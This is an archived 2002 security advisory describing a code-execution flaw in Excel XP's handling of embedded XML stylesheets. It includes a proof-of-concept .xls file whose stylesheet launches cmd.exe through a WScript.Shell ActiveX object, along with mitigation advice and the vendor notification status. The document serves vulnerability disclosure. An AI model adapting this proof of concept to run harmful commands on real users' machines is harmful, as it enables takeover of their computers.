Excel XP xml stylesheet problems

From: Georgi Guninski (guninski@GUNINSKI.COM)
Date: 05/24/02

Date:         Fri, 24 May 2002 20:57:41 +0300
From: Georgi Guninski <guninski@GUNINSKI.COM>

Georgi Guninski security advisory #55, 2002

Excel XP xml stylesheet problems

Systems affected: Excel XP
Risk: Low (user interaction required)
Date: 24 May 2002

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Interesting news:
According to
"...He (MS) later acknowledged that some Microsoft code was so flawed
it could not be safely disclosed..."
They call this trusthworthy??????


Excel XP tries to play with new technologies like XML and XSLT.
Unfortunately the Excel seem "so flawed" that if the user
opens a .xls file and chooses to view it with xml stylesheet arbitrary code
may be executed. As script kiddies know this may lead to taking full control
over user's computer. Excel does not give any warning to the user - just asks
whether to use the style sheet or not. The default option is *not* to
display with the stylesheet though.


Consider this xls file
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#?m$ux" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">
x=new ActiveXObject("WScript.Shell");
x.Run("%systemroot%\\SYSTEM32\\CMD.EXE /C DIR C:\\ /a /p /s");
written by georgi guninski

It contains both XML and a stylesheet in one file.

Do not choose to use xml stylesheets in Excel if asked.
poweroff(8) the poor windoze box if you see Excel mentions stylesheets.

Vendor status: microsoft was notified on 23 May 2002

Georgi Guninski